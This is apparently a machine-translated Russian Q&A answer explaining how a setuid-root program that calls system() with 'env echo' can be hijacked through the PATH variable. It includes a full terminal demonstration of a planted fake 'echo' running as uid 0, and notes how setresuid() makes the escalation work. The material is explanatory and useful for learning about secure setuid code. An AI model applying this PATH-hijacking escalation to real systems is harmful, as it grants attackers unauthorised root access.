Ответ 1
Вы можете переопределить переменную PATH
, чтобы указать на каталог с вашей пользовательской версией echo
, и поскольку echo
выполняется с помощью env
, он не рассматривается как встроенный.
Это создает уязвимость только в том случае, если код запускается как привилегированный пользователь.
В приведенном ниже примере файл v.c содержит код из вопроса.
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
Обратите внимание, что установка реального идентификатора пользователя, эффективного идентификатора пользователя и сохраненного идентификатора пользователя с помощью вызова setresuid()
перед вызовом system()
в уязвимом коде, опубликованном в вопросе, позволяет использовать уязвимость даже если только эффективный идентификатор пользователя установлен на идентификатор привилегированного пользователя, а реальный идентификатор пользователя остается непривилегированным (как, например, случай, когда бит установленного идентификатора установлен в файле, как указано выше). Без вызова setresuid()
оболочка, запущенная system()
, вернет reset эффективный идентификатор пользователя к реальному идентификатору пользователя, что сделает эксплойт неэффективным. Однако в случае, когда уязвимый код запускается с реальным идентификатором пользователя привилегированного пользователя, достаточно только вызова system()
. Цитирование sh
справочной страницы:
Если оболочка запускается с эффективным идентификатором пользователя (группы), не равным реальному пользователю (group) id, а опция -p не предоставляется, файлы запуска не являются read, функции оболочки не наследуются от среды, переменной SHELLOPTS, если она появляется в среде, игнорируется, а эффективный пользователь id установлен на реальный идентификатор пользователя. Если опция -p предоставляется при вызове, запуск поведение одинаковое, но эффективный идентификатор пользователя не является reset.
Также обратите внимание, что setresuid()
не переносимо, но setuid()
или setreuid()
также могут использоваться для того же эффекта.